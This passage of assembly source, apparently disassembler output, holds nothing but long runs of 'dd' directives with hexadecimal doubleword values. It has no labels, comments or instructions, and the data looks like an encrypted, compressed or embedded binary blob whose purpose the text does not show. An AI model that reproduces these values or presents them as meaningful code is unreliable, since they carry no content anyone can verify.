99EA4A09h, 0B4728001h, 4FC3052h dd 0E1FE8CE5h, 0AB6C8B00h, 69E700DBh, 0E19886D8h, 39FBCBF1h dd 0FB150A41h, 0FBAC3A90h, 9609818Dh, 643FE2FFh, 0E67981E0h dd 1778D8C3h, 0D8B203F2h, 0B7BB421Ah, 2255BA0Ch, 40EE1046h dd 0DE781EA3h, 5EBF3B9Ch, 0E229ADAh, 0CE74B635h, 0B4487340h dd 610B011Dh, 462559A8h, 46E55C7h, 3E1BFD89h, 6DC36A75h dd 0E63EB444h, 0BE62C7A2h, 0E34CBCB3h, 0F3344C76h, 0A9366A01h dd 8AC6BB86h, 0FE832BA3h, 91B4DFDBh, 0E618D7CBh, 2C88F892h dd 5925ADB0h, 783740FEh, 8DA6D690h, 11AA0B69h, 68DB602Fh dd 0BC4328D9h, 6FC1A728h, 9DF5412Fh, 99E84FD3h, 0B2B3E0D1h dd 71D260D5h, 32EEA1DDh, 0EC428F26h, 0F4BC55Dh, 0BBFF3B4Fh dd 90C4F071h, 0E11BBAABh, 99C76C9Ch, 5BCB0FFCh, 11CFFE2Eh dd 4EB5D44Fh, 0D6205D2Eh, 0FD05F964h, 0FB9A1365h, 0BDA85842h dd 0AF6863E1h, 409033A2h, 31D0F31Fh, 0CD7C09AEh, 358DDE1Bh dd 64394F6Dh, 0DDBFB02Ah, 215F43C9h, 4E628E8Ch, 180C9910h dd 6E6E0D8Fh, 0DDE7FA36h, 0D125DF44h, 315CFE06h, 541846A7h dd 723DC7BDh, 2772B4CDh, 9F89684Bh, 6F32C255h, 0EE3E7A57h dd 24787839h, 233FA8E7h, 40EE7781h, 0E3303348h, 7218EA0Fh dd 0F69B8FDEh, 0CEFA4D63h, 0CA896653h, 0A7DC31BFh, 5E49FCE2h dd 867DA922h, 0DAD4A65h, 0CF284050h, 8285F9BCh, 8C86FA9h dd 7B0252DCh, 0C81A457h, 0BEDADCA4h, 2D58A5C0h, 105DA7C1h dd 7B4CA9Eh, 0D2803F80h, 0B044838Eh, 4C2B4BA1h, 9A5A0245h dd 3C81B3AFh, 7B78CCADh, 5B003DA8h, 0B2383F7Fh, 246499F2h dd 36AD8FF8h, 51186BDAh, 0B60F6FADh, 7E1EA6CBh, 7B31652Dh dd 0A024BA02h, 0E22DD97Ch, 703F3C02h, 0E04D4E16h, 203FAEBAh dd 4CE26115h, 2F64E4BBh, 0AC9E2CE9h, 0F7D4FDDDh, 48B7746Ah dd 0D0CA3EAh, 0B256A547h, 9A018669h, 0FF2E2B1Bh, 13E2B028h dd 27D8CB76h, 8B9073ACh, 0FF0CCE96h, 0E809E55Ch, 4B490F0Fh dd 31C04344h, 40523DA9h, 0BC3C4380h, 687F4CE7h, 36030537h dd 0F46E684Ch, 0F80989BBh, 37B66E39h, 0F20DAF97h, 0D3DC4ABAh dd 22B68270h, 512418EFh, 2F194319h, 14CFFC30h, 0B1DBD25Eh dd 0AAF729FAh, 70E8B2Eh, 0A3FB078h, 1721B3CAh, 42413108h dd 0FDFC1E66h, 0FA95C8B5h, 21A6FEC0h, 88B3210Fh, 80AA2EF4h dd 989E0213h, 57B48793h, 0CF481B04h, 57C899AEh, 0A97D43D4h dd 753180A8h, 8031DE68h, 9C3E7279h, 8E436476h, 32DA78EBh dd 2C68F4F8h, 6C066742h, 6F480ABDh, 76F11FCFh, 8AC44800h dd 41FB1D3Ah, 740D8036h, 8E305B9Ah, 36ED30CFh, 0E196BACDh dd 89FD627Ah, 4EBA6B9Ah, 7B9C3692h, 530AAF23h, 8ACC4680h dd 14E27855h, 7BFBCAB6h, 9F4A1E17h, 0A1A9BEC8h, 29476C68h dd 35AC3BF0h, 0D17D6D4Ch, 0FE8E03BBh, 0BA16D498h, 0D81CE6CFh dd 197D5D3Fh, 672EE1A0h, 878F6DA8h, 99C65B24h, 24004F1Ch dd 0A912828Bh, 11102CA7h, 97A63B22h, 3450C3CCh, 376CAFE7h dd 0DA6B1C23h, 45C2F20Eh, 5B12BF45h, 32EB160Fh, 2CEBCBA6h dd 63D05F20h, 0D1B17A87h, 787463FDh, 0BA7A8BB2h, 0FD23ECC2h dd 0FFD2E95Bh, 7983CA0Dh, 97963015h, 0FC89DEE3h, 829F23D5h dd 51193D36h, 0F357BD7Ch, 5228AC7Dh, 1F4C43EDh, 633B4065h dd 9352AAFh, 0DA031ADCh, 9ABF1399h, 0B3F05CDEh, 0E1648828h dd 8B5D7AD7h, 0EA480D65h dd 6F1F162Ah, 55182386h, 6475414Eh, 54D958F8h, 32C9A606h dd 423D894Bh, 822A245h, 6BF668C8h, 0C9B7C9A8h, 8032B8D4h dd 5E0850D3h, 44CB269Ah, 0DD7A2FDh, 1C5EFB2Ch, 0F75DC775h dd 47C8C305h, 31EB9B9Eh, 522F6946h, 0DD9EDA81h, 0CE70AEFBh dd 7F7EAE7Ah, 830AF154h, 0D42212ACh, 8DD2CC93h, 8D81F15Fh dd 7CE4B9D3h, 3E0D55E9h, 1A2D17C7h, 0E9D3892Ch, 0D11F9D94h dd 0DC36F29h, 0CECCBD6h, 13523E73h, 0B9BCC9E4h, 0D34D0A92h dd 27D33E12h, 71E4F63Dh, 59CC9011h, 50D89A59h, 0DC7496F7h dd 1174C473h, 4055B6E1h, 53C5CFD1h, 7211D0E6h, 81A5208Eh dd 44A1D7FBh, 59F7855Ch, 2DAF1893h, 14C28268h, 7CC7685h dd 0D9691E15h, 6CA8F77Ah, 8894B8EBh, 87070731h, 69B64311h dd 720489B6h, 206F58Bh, 0FC30C969h, 9268961Fh, 0FA6D61B2h dd 1E9A130Eh, 7F66C023h, 77EE43B6h, 355CD107h, 3BD6F08Ah dd 405CA0DEh, 0F982152Eh, 881F582Dh, 5650AC80h, 3860BF03h dd 20D0095Fh, 7121FFD3h, 4135E895h, 2CA6660Dh, 9ADB132Fh dd 134B5760h, 19DD19ACh, 8242B228h, 7EE6501Dh, 0E2DA44A8h dd 10EB3132h, 680DC7F4h, 58D966B7h, 51F9F3D7h, 40FD3D0Dh dd 82D0498Ch, 0F536240Ch, 0D773E0DFh, 0B1DEB485h, 0D40D0E08h dd 960FC2D0h, 0E7101315h, 0DD965FBDh, 0FADB7D3Eh, 960160D5h dd 0A306F68Fh, 0E6B81DC4h, 17023BC0h, 5C5A41D6h, 0D1E5CBCEh dd 0A8EA85Dh, 747A64DFh, 0E7BAFA11h, 0E3A7352Fh, 0D8F7294Eh dd 93F158Fh, 7897F2F8h, 0BD433753h, 0B55D7B49h, 0ADB3707Fh dd 33412C1Dh, 0EE588806h, 0C717F69h, 0B017D251h, 0A19FEBA3h dd 0B605842Ah, 4FA6D8C3h, 0B2A8ACEBh, 0CEFFB23Eh, 0A44C31EEh dd 460FEC15h, 8AC5F6CDh, 6FCB3A3Bh, 84346A8Ah, 0EFA8D76Fh dd 74C27ED9h, 3C45E1CAh, 87A15DD3h, 20478B41h, 0BC49C22h dd 0B9E03FB1h, 437C9638h, 86FBADF9h, 0CD4A8DCAh, 17D30BC4h dd 34BBF1EBh, 44F416ACh, 0F1FD3BE7h, 8DC0F320h, 0EE2318E5h dd 0B0CA1D0h, 52F0F3F9h, 430C9C80h, 2E1242C4h, 5853D00h dd 7349D96Eh, 2539469Bh, 5653BA59h, 2308487Bh, 9DA952D9h dd 0A9EC5FB4h, 0EE465D23h, 86F0F3FAh, 4F296223h, 6F78D959h dd 61C937CBh, 56817A8Bh, 0B6E56BD6h, 0BE75A747h, 1AE63278h dd 52D35678h, 0ADF9D79Fh, 37DA292Ah, 3F064DDCh, 150AABAAh dd 0F115621Eh, 274A8310h, 0BD5402E8h, 7BF6BA7Dh, 148F7CF2h dd 27CFEA92h, 50F71788h, 0EA55447Dh, 956FDE47h, 5EB6B303h dd 2B7E3449h, 3FECBD26h, 395C05ACh, 6A9B2469h, 18804CF5h dd 0C6AA39EDh, 0DFA92818h, 9531EBA7h, 806BFA36h, 0F3E666FCh dd 7E999A12h, 986306F1h, 455405D0h, 6A81F0C2h, 0A7A3D7D6h dd 0EC0DF4C7h, 0F83C4764h, 4C235B0Fh, 0EE1CE9D7h, 0FF7D0599h dd 40EC8139h, 0B1CA7FC9h, 7F6BF78Bh, 797F64F3h, 0FEEBA49Eh dd 0E1266830h, 49F7BAA2h, 0C25BAC76h, 0FD5BF1A5h, 4BFE83C3h dd 8403A532h, 0CA80BE66h, 46858248h, 32C29184h, 18E06D0Bh dd 0B40A5B1Eh, 0B0FE494Eh, 0E83B19CDh, 0F5B54764h, 5B525574h dd 5B84443Dh, 5E9FBAF0h, 0C26DD1D3h, 75FBE97h, 877CBFFCh dd 7EE2FAh, 133148F5h, 0A9034085h, 2A4D89E3h, 0F754CF9Eh dd 7E5F926Ch, 0C00EACCBh, 194013DEh, 0D9D20EEh, 5F422243h dd 0D625F409h, 0B7BF7EC6h, 9525A911h, 8DC6EFFh, 8F1122FCh dd 80ED525Bh, 62B91672h, 0B3E05939h, 1270ACE8h, 271DC93Ch dd 0DE74B01h, 869AB758h, 7EAD5DA3h, 1D2C44E8h, 0E59EFCD0h dd 1A887CCCh, 0F59ADDA0h, 904C3BDBh, 2176DD08h, 0AA1350BFh dd 903773EFh, 5DD19ADFh, 0A25DD807h, 0BEC575E1h, 612B41AAh dd 0F4ABA85Ch, 50A4952Dh, 0B9CD61Bh, 6D9CC0D3h, 11367718h dd 0B3AF2D68h, 0FEF9422Fh, 0D41CC1A5h, 2D65C999h, 4ABF4904h dd 610B5442h, 0AA7190D0h, 6C68E473h, 0BBE14E64h, 3F9ABDA8h dd 64158BA9h, 8C939DC5h, 587E04Ch, 1118EAB0h, 0A89A00A1h dd 9CBEFA2Bh, 9628D60Ch, 8CE7F623h, 4B206705h, 23B42953h dd 0AA891C85h, 319A9BDEh, 0DA6184CAh, 0B2C70141h, 904012E2h dd 2F6B25FBh, 820F2205h, 27B47DBEh, 0E0285555h, 36E93E4Fh dd 1E997727h, 84714A98h, 9C98216Dh, 3FB754D0h, 0F0300C6Bh dd 0A919E3ECh, 0C855CC96h, 8A9F1D09h, 6D6F0979h, 7645EB04h dd 8DB2A693h, 3E53F86Dh, 599AC34Fh, 795EE505h, 6B85E6D5h dd 81DC7DE0h, 3DD6999Fh, 4C6B7B48h, 1F69B581h, 6DD33915h dd 4C96311Ch, 534C90A1h, 63B741E1h, 0D11121D9h, 1C13DAFh dd 2F0C3FC4h, 9C9A9827h, 9E98D563h, 67B4EABBh, 144CA301h dd 0D0D43C37h, 93062CAEh, 236AEEA0h, 88A0909Dh, 0DB38EE6h dd 5CEB7F0Bh, 0F86E98CEh, 46D63D62h, 9AB3CD7Bh, 150A344Dh dd 2AD1C903h, 1C07F2D3h, 45E5D0E7h, 0A4D1B8C2h, 484BE50Fh dd 2B702356h, 0DEC0D338h, 5C798430h, 0B293C628h, 0ADF64469h dd 288E656Dh, 0C6F7E60Bh, 2461A4CBh, 7F3A8EC4h, 80E83C97h dd 0D79BAD3Ah, 18D6D138h, 5A621FFDh, 0E59B17ACh, 6CE52CD8h dd 3CEC5431h, 8014EFCEh, 9C5A47BFh, 0BD56B64Eh, 4208B12Bh dd 9A50C136h, 0D9B34632h, 5DB07EE5h, 0A2B42C50h, 9C986DE1h dd 0F3F18B8h, 0B604B47Bh, 0D36C17F3h, 0D4868675h, 7791141Dh dd 12528F02h, 271891AEh, 34FC8C3Ch, 6C447363h, 44BF3744h dd 0FADF34Bh, 653E3990h, 1CC68043h, 96FACA12h, 9DF0682Dh dd 49DC7ADEh, 83097286h, 9752879Bh, 0A04FC20Bh, 593B8463h dd 3C1F89CFh, 0B95587BAh, 94AB24C9h, 0DA64D412h, 0EF056584h dd 0CC8B6676h, 73DCA6E0h, 0F26E90F8h, 0E8C14713h, 91C61792h dd 0E1683F71h, 7E1CEADFh, 270FA91Ah, 2F7B0F45h, 48219EC2h dd 0C235DC8Bh, 0B5D1E463h, 4024A0A5h, 7E717918h, 0FFE1C329h dd 0A8A1FFE5h, 0BB565B6Ch, 5643A369h, 7FD85012h, 8047415h dd 67255F5h, 200B75ABh, 7CEFCCFDh, 4CC8AF4Dh, 957FFA41h dd 6889BF78h, 0D5F7CCEBh, 512CAC79h, 99E50567h, 4B5B5F36h dd 0C3A1550Ch, 0E5EC3B2Dh, 49E78FB4h, 0ED3CE794h, 25B0C67Ah dd 9F6DC947h, 997694DBh, 1B82444Fh, 90861E15h, 3613356Bh dd 4284C54Ah, 5D99FE5h, 3BBF1217h, 6AFCA033h, 0AA8D4540h dd 0FC772468h, 18F6F981h, 13FEBDBCh, 0CE6950C0h, 97B2C7ADh dd 2CFB26ACh, 6D04EABAh, 8A22A951h, 7FB20EA1h, 8C05013Ch dd 7F711E4h, 0C56D44FBh, 58FA3325h, 4FD41D5Ah, 8D5504E1h dd 0BBEE86Eh, 653F88D8h, 3DB8BE34h, 0AF3CA2ABh, 0E4DD1A28h dd 0ACD4971Bh, 0A5438EB4h, 0F58E25C4h, 42327646h, 5CD93E7h dd 0B14FEF08h, 0F2C28B70h, 0B36A0764h, 0DFD8F101h, 78A2F3EAh dd 0D0BDD57Ch, 24C01BCDh, 2220EAD3h, 85195801h, 716B49E0h dd 0F477A4Eh, 95B27EA7h, 6A09D6E1h, 0FDA61176h, 0DF926549h dd 62677492h, 54C2089Ah, 0F00EB6BCh, 4FF7FF8Dh, 0C96B6223h dd 0CA5409B9h, 741EC05Ch, 2E2C7403h, 0BA891C79h, 8A7134E8h dd 30F25414h, 0F7B898B4h, 0D9F482C8h, 4F870463h, 9667CD7Eh dd 944A6F54h, 594AA26Dh, 0A1F612D6h, 0E8068555h, 6281E24Eh dd 730E53EBh, 0ACC2AE6Ah, 51450096h, 0CF7EF45Dh, 1A2054A7h dd 0E575AAE7h, 0D0755925h, 986467C6h, 0E54BBAEDh, 434B3CDDh dd 5A6D7FA9h, 0A06DD625h, 0A85BE8BDh, 2F1BFE5Bh, 0F4228E60h dd 9E8A778Fh, 0A0BD2D7Fh, 92980B51h, 91B420D0h, 33F7133Ah dd 6CF9281Dh, 451B3618h dd 0ACC3E543h, 0EFFEAEE3h, 38F21EE9h, 1286EEABh, 71E995CEh dd 96B12CD9h, 222F0D35h, 7B779ED4h, 38E55B4h, 0A2DD75BAh dd 0BB5D5B43h, 0B07CDC4Bh, 5EF79541h, 203F047Ah, 3B098BE8h dd 0C4EB7E78h, 33944374h, 25015FD0h, 4F5FDDF1h, 0E2E793BBh dd 0C7149924h, 3B23BE6Eh, 4FCAAC4Bh, 69BD8D66h, 0E07729A5h dd 3F169CF0h, 367C3F22h, 0C8837AEEh, 0B8AB0F7Fh, 8B74520Bh dd 0E745AFC6h, 7947F584h, 2519AFF4h, 94A8A7CEh, 75462F87h dd 0FC5EAE9Eh, 1D01DE0Fh, 947E65E8h, 8172F34Bh, 745E003Bh dd 2030E0F8h, 548C083Ah, 61F0E2F7h, 8D88A195h, 3165DD61h dd 0A363C3C2h, 0EC0FD427h, 0FB50D8EDh, 0C476754Bh, 0EB4FA29h dd 959FFCB7h, 92550DB6h, 7F261397h, 0D57DC590h, 39D09DD2h dd 58DF73Eh, 562784DEh, 0C355898Bh, 0C772E052h, 8AE10D06h dd 7B3B3047h, 0E8427A29h, 0D205CA7Ch, 994306F7h, 910A6C9Ah dd 0AC7A21AEh, 20DE40F3h, 8A2E0824h, 179C42E8h, 0FEA59DEEh dd 4A34B417h, 0C2665558h, 64811BECh, 727D6CAAh, 0D335B85Ah dd 0BB0F16CFh, 17722ABEh, 0BCE15016h, 1BF9D1B1h, 654CBB89h dd 2F5CC51h, 0B0DB83D1h, 0B0409ACh, 12677F09h, 0EC4B56BDh dd 146F8527h, 0F4F61CD7h, 0F14DD227h, 95A9932h, 19684E04h dd 66B1FD00h, 0C5E27551h, 95C6D0F8h, 8C4CE158h, 9ACAF4E4h dd 60502D6Ah, 4D095584h, 122D13E4h, 61B8D5A4h, 0F0DF3AE9h dd 4C80F444h, 0D967E040h, 462BF931h, 582A94B8h, 0D10043CEh dd 1D8CB85Ch, 490ADB32h, 96489E88h, 0E745999Bh, 3B3F586Ch dd 0E8213146h, 0B366E9BFh, 429D46E5h, 0F9F53C48h, 4CC037D6h dd 0BC82E592h, 38853413h, 0B7338B33h, 1D0058FAh, 359CD41Fh dd 3AB25D5Bh, 5305A833h, 9374DEB1h, 165E7360h, 6050FFCCh dd 81FFC97Ch, 0EB8A2356h, 0AE735225h, 46E858C1h, 93FB7CD0h dd 0C5F198B1h, 9C02D268h, 10452438h, 0BF958277h, 9DC409D4h dd 610127F5h, 3AF5993Fh, 0EE46A684h, 4395EA59h, 0D890F3DCh dd 4CA1D9EDh, 851FCA50h, 79F291E5h, 6C011CE3h, 9A8D4C69h dd 2FC67917h, 62DA6D1Eh, 0BE464067h, 0F72F8554h, 0DC977907h dd 4FD7BE4Bh, 403DDC3Fh, 6024CFBCh, 0E8D777BBh, 6AEE6690h dd 0C7C6A87Fh, 8F1AC232h, 0E36025DEh, 7D3CDE4Dh, 342EE90Fh dd 0D9BD62D1h, 2B80F0Fh, 26491195h, 0FBB3DC8h, 9031F267h dd 771B2210h, 0B96CEFA9h, 96F5D099h, 0AFDE5840h, 0A8D81F48h dd 3838A72Ch, 0BE96DCFEh, 0F39D3A3Eh, 0CBDDD6AFh, 3DEED3BEh dd 8F749C3Eh, 18025B20h, 0AF0B2D2Ch, 4CE2140Ch, 9209928Eh dd 0CBB39041h, 0F4264B9Ch, 192068C1h, 998273BEh, 5C9496F9h dd 522A4A56h, 0A4365C14h, 0B9A71CD2h, 3D532034h, 2EB6FD02h dd 0FAC2F093h, 69DEBB90h, 0B490776Dh, 7C0F8AE0h, 29D2519Dh dd 0FE53D9EBh, 0A5003A01h, 5E73687h, 0D5B89FC9h, 0D7EAA138h dd 0D103B132h, 818B383Ch, 0D40CA164h, 2CF3CD5Ah, 31E8EFB1h dd 5C73363Ah, 0E8BAF7C1h, 8726DA78h, 4E851A32h, 7CC2C126h dd 3ECBBC81h, 77D937D5h, 52FFA707h, 0B26FE6Bh, 0F7C36E26h dd 834005E3h, 2F032C76h, 1C1D5CBCh, 0D9B5EEF7h, 42EDF64Bh dd 0B5D225F8h, 87A13F05h, 0DF49A991h, 72482D6Ah, 690C8BC3h dd 2AB9F37Fh, 0A9421416h, 0E0AB2EE1h, 0F5106EB6h, 0B98BFADAh dd 24CF9653h, 809949A9h, 0FAB581F0h, 0D75B6432h, 72B6762Fh dd 2B096969h, 77E73DA5h, 5D45F262h, 0BCEB526Bh, 0D6C2E8CEh dd 0E5C5DC5Ah, 81354C0Ch, 9DA76005h, 0E2865A6Bh, 8CF72740h dd 0C72DC35Dh, 0E92F0FE2h, 8F351FC0h, 8C0A0728h, 801BA528h dd 58B7095Fh, 1AABDF40h, 38102B91h, 0B5D9FDDBh, 0AABD31F7h dd 0A6A79112h, 740271F3h, 0D2E0010Bh, 5D3CBD84h, 9FBCE80Ch dd 7C708AA7h, 69CFF9F4h, 14AA4CB4h, 0C6F2A772h, 0DDEBF463h dd 0C960DD28h, 86F73A7Eh, 0B33C468Eh, 0A6EBEEABh, 7D0C116h dd 0B93605AFh, 0B9592014h, 0ABD1AA51h, 473F132Ch, 93FEB4Fh dd 0FFCEE910h, 0D79F8201h, 0DBC094DDh, 262092ACh, 0ED9D9C5Dh dd 859A6769h, 0BD5280A5h, 2A9D9748h, 25830FF2h, 33368EB9h dd 0D65AE277h, 9D9DCD86h, 0A80C3E07h, 0FB8F90EDh, 0D7FCD5B5h dd 42842104h, 0CB84B464h, 94C224C6h, 85BA787Bh, 5EC98C4h dd 0CE2141F8h, 84AFA39Ch, 0E4245E65h, 25F8A0B5h, 0FCB3F805h dd 0DFB88BEFh, 743C0DBEh, 0DC01852h, 980A9A04h, 1A3D107Fh dd 0D6D5609Ch, 0D5850999h, 0A7B72030h, 7640B59Eh, 0E801F0F0h dd 0A87DB88Eh, 238799E2h, 80E66CE0h, 8BA0B571h, 0F4DCADAAh dd 205E5F01h, 0F5AB58D1h, 8108E7E0h, 0A15AE8A3h, 964CD48Ah dd 83F0470Ah, 672CB268h, 7CD1C71Ah, 25360F0Bh, 0F3E0B48Bh dd 5B56E369h, 0D58BAF9h, 38C40CEEh, 0D2904143h, 82E20288h dd 2F10649Dh, 0CD76C948h, 65232208h, 85A2EC55h, 16FBC7A1h dd 0A92202F8h, 0AF4D1228h, 0F645A047h, 64BE1768h, 0F8862ADDh dd 0C5B6A790h, 1FC21224h, 4A69F554h, 4BF613A1h, 2E53B6CAh dd 883608Ch, 77091F46h, 1BBC58A6h, 0F7F1A428h, 0C6913E4Ah dd 89830CFh, 95FFFBD6h, 0E9715A4h, 38DF21E2h, 97487FEEh dd 8897B853h, 26BB68C3h, 17DEDA10h, 6AB94A16h, 0F2BF451Dh dd 4F8046F9h, 43F09458h, 0FAEB1C1Eh, 0F1F7ED2Eh, 0C6B42C8h dd 219AE8E9h, 7FF36E52h, 0E8DCB40Bh, 0DD41F4Ah, 250B4714h dd 0D263A919h, 231DB8A9h, 0F2A379Bh, 6A8A0DADh, 9E265F07h dd 12DAF5C5h, 0AB19C57Dh, 0D10FB6E6h, 0F4C85A7h, 0D86E0B80h dd 4F459E0h, 0F37819EAh, 0A9DC824Ah, 396A8879h, 3C1B6E06h dd 7200467Fh, 0D686E0C1h, 895F35FCh, 24E45CC7h, 0A4277427h dd 80EFCC38h, 0D084F965h, 0FCF00F42h, 0D7576A77h, 3B9F154Bh dd 573BEE6Dh, 0CA09FEA2h, 37117B8h, 53A16ABh, 0E74FC60Dh dd 15E7A5ADh, 84C2997Ah, 3235BE7Eh, 0AC71DA68h, 37CE4FB5h dd 7F428009h, 14A35E94h, 6B7B2FD3h, 791A3BF3h, 0C7A97AC3h dd 6267C9CBh, 0B68D09A3h, 15D57996h, 23161BD2h, 1C28EC2Ch dd 4454AB77h, 0EDB5B600h, 0B3F6D077h, 0BA8C8C35h, 3D53B775h dd 0E232E2E7h, 1A7DEB51h, 740A6014h, 0F19972C4h, 73F8557h dd 0E440E9FCh, 5FB7CE19h, 97AE25A1h, 3DBDDE44h, 0EA7090E4h dd 383F4DF3h, 0D085A746h, 8CCEBE0Fh, 588B3FA9h, 0F063EEE9h dd 6924FF7Fh, 33403D07h, 0CCD52B2Bh, 0FF3776C1h, 0C4750F8Ah dd 11232EAh, 40A377DDh, 1D01D5D5h, 0D03592C6h, 0D4BA66CCh dd 0B345907Bh, 0ABBD05B9h, 9AC1F926h, 0B70D7C2Bh, 0DB3CF2ACh dd 1E2C8379h, 726DD1F7h, 0F0F4C1E2h, 9FD96339h, 94486AFBh dd 50372CBh, 22A271EDh, 0D0032D24h, 7203202Dh, 4D458851h dd 0B63CC131h, 4368B859h, 0E17D07DBh, 842BE1FDh, 7A94E354h dd 67DF87EEh, 9BD1A3AFh, 4EEADF64h, 0B1866CF7h, 956E091Dh dd 74516190h, 6B92A337h, 31CFEB76h, 84763C04h, 4871795Fh dd 4706C35h, 0D146419Fh, 8E3A5359h, 86A7B809h, 6C98A873h dd 8B6D0A3Ch, 0EF803B96h, 492577Bh, 25491A8Fh, 499149E6h dd 99630836h, 0B5368AE3h, 0E6DF6567h, 8DBCC84Eh, 0BE1E7896h dd 0D561356Dh, 40017A95h, 0E5C34CC6h, 0D7BC4E67h, 7C71E15Ch dd 7D3912A5h, 0FBF59710h, 0D6BF4273h, 7A854A86h, 880D84E5h dd 0C51603CAh, 7550BC88h, 0EA7FE7AAh, 0EF2005A9h, 14BF0FEAh dd 0A625BBC0h, 0BA4AD5A4h, 0CDA35281h, 37557BEh, 877873E7h dd 0C0CAE619h, 25FCAB77h dd 8F4B5FCh, 0B0414092h, 10B2AC1Fh, 1B5D4C52h, 177A692Eh dd 0E1C5862Eh, 0D490D2FCh, 0C9A67CDDh, 0A14CACC8h, 68D71FA9h dd 990823E5h, 0D887CC3Bh, 7A39EE2Fh, 330C21FDh, 9C1FAC56h dd 946ECA0Bh, 0DC2AA6D3h, 0DC3593Dh, 0B4EDBDC6h, 0B9E1588Ah dd 7B8AD9C8h, 0ECB5FF45h, 528B271Ch, 95B84529h, 9CC58A9Eh dd 0F2FB3C09h, 678043A1h, 6ED1CC60h, 243AAB5h, 0DE65F6F4h dd 33F212E6h, 0BDE5B3BCh, 94F083Bh, 0F0013C1Dh, 0FEBC9DD3h dd 29D21359h, 0DF6EE553h, 0C9F8FA86h, 0C263067Ch, 9C9AE8DFh dd 0AF791A9Fh, 8CF6BA58h, 7AB9E990h, 70E03BB0h, 6B16005Dh dd 7503C956h, 0E976C7CDh, 5539DE39h, 86AEAC14h, 0A2FC6D71h dd 719F1455h, 0C29D040Ah, 11AB2640h, 0C9B7CE60h, 48626A87h dd 9E79FDEBh, 922C2B2Dh, 0FC3D64E2h, 55916257h, 79315908h dd 422A34F5h, 0E6BB0218h, 0F8BBED00h, 0A04869F2h, 0B567C9F0h dd 0C942B001h, 0C43BCCA4h, 0EF21DCD7h, 4EF10994h, 90200E15h dd 24836879h, 2C33ED3Ah, 86E29FBFh, 7F409DBDh, 0F95F77A3h dd 0B5EF815Ah, 6B88A92Eh, 0AA30A85h, 0A2A217B8h, 156AAC01h dd 0D10825C5h, 0B60A8955h, 3C3AF34Ah, 0A28A6D7Dh, 0A96D412Bh dd 0AE3E66A3h, 7C13AA8Dh, 7D42F9D9h, 0F46D7A98h, 72F6E505h dd 0AC073E2Fh, 78377480h, 0E8652A9Dh, 0A5DF838Bh, 5E1C66CCh dd 0CBD05044h, 8EB4C2F0h, 309461DCh, 6F5DB66h, 6B69F17Ah dd 0D36A2E98h, 596EEBB9h, 2A827229h, 1C07F374h, 0BA1EDA82h dd 28BF8563h, 897DCCF0h, 492722Bh, 0E12FCA53h, 813C5390h dd 30D774D5h, 0F71D7836h, 98D3DBBh, 98D0A8A2h, 0AFF80188h dd 0E2C9572Dh, 67CDD66Ch, 51631E45h, 8E6A6C15h, 956B47EFh dd 8912B470h, 7F951CF7h, 0B6E98F0Eh, 7F5498D1h, 4ACDF4B5h dd 0A7DBE101h, 726BBD41h, 0B170E5B1h, 5438B5DCh, 0BEEEADDFh dd 0BA1BF6B9h, 0DC6B1B91h, 0EC407B32h, 0D5984AD2h, 9CF8804Ch dd 21BD835Bh, 594A9AC6h, 6D2EFDC2h, 0B3A32ACFh, 400B73B6h dd 1B6AB098h, 8951F2BFh, 0F99E066h, 392C6A03h, 3BD0FA3h dd 8355A22Dh, 0CED5159Ah, 0A99012C3h, 0FAE1C7DFh, 36A95028h dd 0FB0CAB44h, 1E128F8Ah, 3A158654h, 44A876DEh, 0EEC048BAh dd 158CF0E2h, 345991E4h, 85EEAB56h, 9B6CBF25h, 12489930h dd 45C4AB35h, 203509D9h, 5A37DD03h, 50597E88h, 8E4002F2h dd 20289BF5h, 0FB0AB967h, 45C53DA5h, 2C256B70h, 0D284229Fh dd 0CBB545CDh, 0B63B552h, 27D45530h, 74F8D3DAh, 0F5CF66C8h dd 0FE4BDC85h, 0B23DD732h, 383261D9h, 0DD4AE23Eh, 0A913A2Ah dd 0E494BB2Bh, 7F9E3F13h, 0F2892FDCh, 2CE02AA7h, 0BD4D2FE5h dd 2AF25FE0h, 0C4E6B066h, 0B9C97B24h, 82114B81h, 32C0C4D1h dd 0E73A71F9h, 5A053608h, 0CBD08D68h, 0F795D485h, 0F558877Ah dd 890D2C03h, 4690E71Dh, 2DFEC0B1h, 0C9D7DFCFh, 0F66D1250h dd 0AC2A410Bh, 91BEDFE0h, 0CDF56903h, 92965976h, 0D262E7D6h dd 77981F4Fh, 5229CE42h, 0BD80AE3Eh, 0EC26DD38h, 50567807h dd 3A02478Ch, 718F976Bh, 82D076F4h, 7A7E60DBh, 74F90EF1h dd 93E9F6CBh, 0AB3BDF43h, 788AD754h, 0AF1CB8E4h, 7B7C617Ah dd 0DF268AB9h, 39E8AF50h, 0AA00F21Eh, 63668617h, 0A401A931h dd 79A3EA7Eh, 0EE0D68F5h, 19375F7Ch, 4D7F2747h, 45F5CADBh dd 0B6C42064h, 618EB8BCh, 8517AB14h, 1CF4E501h, 1475A5FBh dd 0CEAEE584h, 0A4368763h, 4C182BD8h, 1F467A16h, 0B444447Bh dd 2E016876h, 0FDE30DBDh, 2CE17D24h, 7A5D79B9h, 0B7AFDF43h dd 4BE08542h, 52349241h, 6D2D33FAh, 0E503E113h, 8B4BEE4Dh dd 0E3AD4229h, 0E6A26B69h, 7C273D4Dh, 61E4CF55h, 0B94FAE2Bh dd 0BA55B4C3h, 0DB12460Bh, 360191ECh, 0B9983204h, 0B83A78B9h dd 0E7C387F0h, 2ADE3556h, 6896E8Bh, 5B746DF6h, 3C50E3F2h dd 4B1BFE3Bh, 6542FD79h, 491B8296h, 453D25B6h, 0FB18E92h dd 32CCF26Dh, 425799AFh, 3F4832E0h, 0EAED15F6h, 0B0E9D5Fh dd 96A5CE40h, 0FCDCE6DDh, 9DC08872h, 34975FCBh, 60CCF8A9h dd 3AE2210Ch, 0FC54CBFFh, 9E31159h, 1C5FF364h, 0B283007Dh dd 0D8EC87E0h, 21ED975Bh, 0FCC740C8h, 205DE0CBh, 0ABF3A501h dd 1E31B2AAh, 0B797121Dh, 0C3AE783Ch, 1E5EC947h, 1F8735FBh dd 6509C84Eh, 0F36B15E5h, 9BF41373h, 7C5DB3E9h, 2C1061DEh dd 53394D03h, 9BD34EA9h, 465F4EC7h, 39D24759h, 2EEA4646h dd 0A97EBDDEh, 78340FCCh, 80F921F0h, 0D701CCBEh, 0B48F3DF8h dd 1E3CBCF4h, 0BAE531A5h, 0FCB773ACh, 8AB370Ah, 0AF2C187Eh dd 0FD44982Ch, 18DCF9CBh, 3B253528h, 0CAA7E175h, 72795BA9h dd 1D3E7135h, 0C7BFDF84h, 0E45FF95Dh, 1C5797Dh, 4C25270Bh dd 411CD837h, 